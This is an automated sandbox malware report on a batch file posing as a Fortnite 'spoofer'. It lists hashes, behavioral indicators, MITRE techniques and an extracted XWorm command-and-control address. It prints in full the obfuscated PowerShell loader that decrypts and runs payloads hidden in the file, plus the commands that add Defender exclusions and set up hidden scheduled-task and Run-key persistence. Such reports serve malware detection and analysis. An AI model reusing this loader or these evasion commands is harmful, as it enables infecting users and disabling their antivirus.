Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2025 18:46
Static task
static1
Behavioral task
behavioral1
Sample
SpooferFornite.bat
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
SpooferFornite.bat
Resource
win10v2004-20241007-en
General
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Target
SpooferFornite.bat
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Size
289KB
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MD5
1776b4ed272a4c874cb62d3827da9330
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SHA1
15611ee351e8fdb75b6d65fb5a2e111c3fed6b2e
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SHA256
9b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7
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SHA512
e498841716e88b7ad28b53d33e4a448361abab540642171f9a8fc07f6f4e097d9aff20f4489c2ad49a76b0b94f27cc57a234022fe1c75174af641c72151d613e
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SSDEEP
6144:TO/Pb0ZIWr3AuGHdOOJvpW2hZkewDbShSj2+AoACcSc2hJaDeAnul2xojol9r:TO/bTNHdxW2rkewDbc8cH/x4o3r
Malware Config
Extracted
xworm
IDKTOBEHONESTNIGAS-56344.portmap.io:56344
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Install_directory
%ProgramData%
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4056-49-0x000001E4B3980000-0x000001E4B3996000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 64 IoCs
flow pid Process 18 4056 powershell.exe 29 4056 powershell.exe 31 4056 powershell.exe 33 4056 powershell.exe 35 4056 powershell.exe 36 4056 powershell.exe 37 4056 powershell.exe 38 4056 powershell.exe 39 4056 powershell.exe 40 4056 powershell.exe 49 4056 powershell.exe 55 4056 powershell.exe 56 4056 powershell.exe 57 4056 powershell.exe 58 4056 powershell.exe 59 4056 powershell.exe 60 4056 powershell.exe 61 4056 powershell.exe 62 4056 powershell.exe 63 4056 powershell.exe 64 4056 powershell.exe 65 4056 powershell.exe 66 4056 powershell.exe 67 4056 powershell.exe 68 4056 powershell.exe 69 4056 powershell.exe 70 4056 powershell.exe 71 4056 powershell.exe 72 4056 powershell.exe 73 4056 powershell.exe 75 4056 powershell.exe 76 4056 powershell.exe 77 4056 powershell.exe 78 4056 powershell.exe 79 4056 powershell.exe 80 4056 powershell.exe 81 4056 powershell.exe 82 4056 powershell.exe 83 4056 powershell.exe 84 4056 powershell.exe 85 4056 powershell.exe 86 4056 powershell.exe 87 4056 powershell.exe 88 4056 powershell.exe 89 4056 powershell.exe 90 4056 powershell.exe 91 4056 powershell.exe 92 4056 powershell.exe 93 4056 powershell.exe 94 4056 powershell.exe 95 4056 powershell.exe 96 4056 powershell.exe 101 4056 powershell.exe 103 4056 powershell.exe 104 4056 powershell.exe 105 4056 powershell.exe 106 4056 powershell.exe 107 4056 powershell.exe 108 4056 powershell.exe 109 4056 powershell.exe 110 4056 powershell.exe 111 4056 powershell.exe 112 4056 powershell.exe 113 4056 powershell.exe -
pid Process 1892 powershell.exe 4056 powershell.exe 1008 powershell.exe 1172 powershell.exe 2232 powershell.exe 1772 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3548 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 17 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings powershell.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4988 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 1892 powershell.exe 1892 powershell.exe 1008 powershell.exe 1008 powershell.exe 4056 powershell.exe 4056 powershell.exe 1172 powershell.exe 1172 powershell.exe 2232 powershell.exe 2232 powershell.exe 1772 powershell.exe 1772 powershell.exe 3548 powershell.exe 3548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1892 powershell.exe Token: SeDebugPrivilege 1008 powershell.exe Token: SeIncreaseQuotaPrivilege 1008 powershell.exe Token: SeSecurityPrivilege 1008 powershell.exe Token: SeTakeOwnershipPrivilege 1008 powershell.exe Token: SeLoadDriverPrivilege 1008 powershell.exe Token: SeSystemProfilePrivilege 1008 powershell.exe Token: SeSystemtimePrivilege 1008 powershell.exe Token: SeProfSingleProcessPrivilege 1008 powershell.exe Token: SeIncBasePriorityPrivilege 1008 powershell.exe Token: SeCreatePagefilePrivilege 1008 powershell.exe Token: SeBackupPrivilege 1008 powershell.exe Token: SeRestorePrivilege 1008 powershell.exe Token: SeShutdownPrivilege 1008 powershell.exe Token: SeDebugPrivilege 1008 powershell.exe Token: SeSystemEnvironmentPrivilege 1008 powershell.exe Token: SeRemoteShutdownPrivilege 1008 powershell.exe Token: SeUndockPrivilege 1008 powershell.exe Token: SeManageVolumePrivilege 1008 powershell.exe Token: 33 1008 powershell.exe Token: 34 1008 powershell.exe Token: 35 1008 powershell.exe Token: 36 1008 powershell.exe Token: SeIncreaseQuotaPrivilege 1008 powershell.exe Token: SeSecurityPrivilege 1008 powershell.exe Token: SeTakeOwnershipPrivilege 1008 powershell.exe Token: SeLoadDriverPrivilege 1008 powershell.exe Token: SeSystemProfilePrivilege 1008 powershell.exe Token: SeSystemtimePrivilege 1008 powershell.exe Token: SeProfSingleProcessPrivilege 1008 powershell.exe Token: SeIncBasePriorityPrivilege 1008 powershell.exe Token: SeCreatePagefilePrivilege 1008 powershell.exe Token: SeBackupPrivilege 1008 powershell.exe Token: SeRestorePrivilege 1008 powershell.exe Token: SeShutdownPrivilege 1008 powershell.exe Token: SeDebugPrivilege 1008 powershell.exe Token: SeSystemEnvironmentPrivilege 1008 powershell.exe Token: SeRemoteShutdownPrivilege 1008 powershell.exe Token: SeUndockPrivilege 1008 powershell.exe Token: SeManageVolumePrivilege 1008 powershell.exe Token: 33 1008 powershell.exe Token: 34 1008 powershell.exe Token: 35 1008 powershell.exe Token: 36 1008 powershell.exe Token: SeIncreaseQuotaPrivilege 1008 powershell.exe Token: SeSecurityPrivilege 1008 powershell.exe Token: SeTakeOwnershipPrivilege 1008 powershell.exe Token: SeLoadDriverPrivilege 1008 powershell.exe Token: SeSystemProfilePrivilege 1008 powershell.exe Token: SeSystemtimePrivilege 1008 powershell.exe Token: SeProfSingleProcessPrivilege 1008 powershell.exe Token: SeIncBasePriorityPrivilege 1008 powershell.exe Token: SeCreatePagefilePrivilege 1008 powershell.exe Token: SeBackupPrivilege 1008 powershell.exe Token: SeRestorePrivilege 1008 powershell.exe Token: SeShutdownPrivilege 1008 powershell.exe Token: SeDebugPrivilege 1008 powershell.exe Token: SeSystemEnvironmentPrivilege 1008 powershell.exe Token: SeRemoteShutdownPrivilege 1008 powershell.exe Token: SeUndockPrivilege 1008 powershell.exe Token: SeManageVolumePrivilege 1008 powershell.exe Token: 33 1008 powershell.exe Token: 34 1008 powershell.exe Token: 35 1008 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 2176 wrote to memory of 1892 2176 cmd.exe 83 PID 2176 wrote to memory of 1892 2176 cmd.exe 83 PID 1892 wrote to memory of 1008 1892 powershell.exe 84 PID 1892 wrote to memory of 1008 1892 powershell.exe 84 PID 1892 wrote to memory of 4868 1892 powershell.exe 87 PID 1892 wrote to memory of 4868 1892 powershell.exe 87 PID 4868 wrote to memory of 4156 4868 WScript.exe 88 PID 4868 wrote to memory of 4156 4868 WScript.exe 88 PID 4156 wrote to memory of 4056 4156 cmd.exe 90 PID 4156 wrote to memory of 4056 4156 cmd.exe 90 PID 4056 wrote to memory of 1172 4056 powershell.exe 95 PID 4056 wrote to memory of 1172 4056 powershell.exe 95 PID 4056 wrote to memory of 2232 4056 powershell.exe 97 PID 4056 wrote to memory of 2232 4056 powershell.exe 97 PID 4056 wrote to memory of 1772 4056 powershell.exe 99 PID 4056 wrote to memory of 1772 4056 powershell.exe 99 PID 4056 wrote to memory of 4988 4056 powershell.exe 101 PID 4056 wrote to memory of 4988 4056 powershell.exe 101 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('noPxVH3ddu1PqIPnSt7r1xd0OgXVM9X59CLWUoO1zk4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjrdQlHUkjBl27IgF/hgbA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MKRBP=New-Object System.IO.MemoryStream(,$param_var); $PgIYR=New-Object System.IO.MemoryStream; $kyRBD=New-Object System.IO.Compression.GZipStream($MKRBP, [IO.Compression.CompressionMode]::Decompress); $kyRBD.CopyTo($PgIYR); $kyRBD.Dispose(); $MKRBP.Dispose(); $PgIYR.Dispose(); $PgIYR.ToArray();}function execute_function($param_var,$param2_var){ $WZIdA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $beHJX=$WZIdA.EntryPoint; $beHJX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat';$CsLar=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SpooferFornite.bat').Split([Environment]::NewLine);foreach ($HvFyD in $CsLar) { if ($HvFyD.StartsWith(':: ')) { $zZbDh=$HvFyD.Substring(3); break; }}$payloads_var=[string[]]$zZbDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_217_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_217.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1008
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_217.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_217.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('noPxVH3ddu1PqIPnSt7r1xd0OgXVM9X59CLWUoO1zk4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IjrdQlHUkjBl27IgF/hgbA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MKRBP=New-Object System.IO.MemoryStream(,$param_var); $PgIYR=New-Object System.IO.MemoryStream; $kyRBD=New-Object System.IO.Compression.GZipStream($MKRBP, [IO.Compression.CompressionMode]::Decompress); $kyRBD.CopyTo($PgIYR); $kyRBD.Dispose(); $MKRBP.Dispose(); $PgIYR.Dispose(); $PgIYR.ToArray();}function execute_function($param_var,$param2_var){ $WZIdA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $beHJX=$WZIdA.EntryPoint; $beHJX.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_217.bat';$CsLar=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_217.bat').Split([Environment]::NewLine);foreach ($HvFyD in $CsLar) { if ($HvFyD.StartsWith(':: ')) { $zZbDh=$HvFyD.Substring(3); break; }}$payloads_var=[string[]]$zZbDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1172
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1772
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"6⤵
- Scheduled Task/Job: Scheduled Task
PID:4988
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C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3548
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
944B
MD5b1a1d8b05525b7b0c5babfd80488c1f2
SHA1c85bbd6b7d0143676916c20fd52720499c2bb5c6
SHA256adad192fc86c2f939fd3f70cb9ad323139a4e100f7c90b4454e2c53bdbc9b705
SHA512346c6513c1373bab58439e37d3f75de1c5c587d7eb27076cf696e885a027b3b38d70b585839d1a2e7f2270cdcf0dac8c1fdff799f3b1158242ae9e3364c2a06e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
289KB
MD51776b4ed272a4c874cb62d3827da9330
SHA115611ee351e8fdb75b6d65fb5a2e111c3fed6b2e
SHA2569b4083ac2dee0d90ca305780b1318931af119cccd8e9516dd443f3a5ff3e0af7
SHA512e498841716e88b7ad28b53d33e4a448361abab540642171f9a8fc07f6f4e097d9aff20f4489c2ad49a76b0b94f27cc57a234022fe1c75174af641c72151d613e
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Filesize
115B
MD5cb960120355998d3e74a8c05fa4b662e
SHA19f4093dbbfa0f19cfece55accd0c528f0cb15337
SHA2565af5a728df66c68b5fc74414a2af3f85e32cb74b2905b0db2dcb726eff936326
SHA51272a47c4ad6e4bdb6ed3be85a221e3b8ce6c168aaad69cf20697b5be08b0ed6a1b742ef3e08358215a9cbaa7591f76a86718829535d8e3a2d4a993f2683958906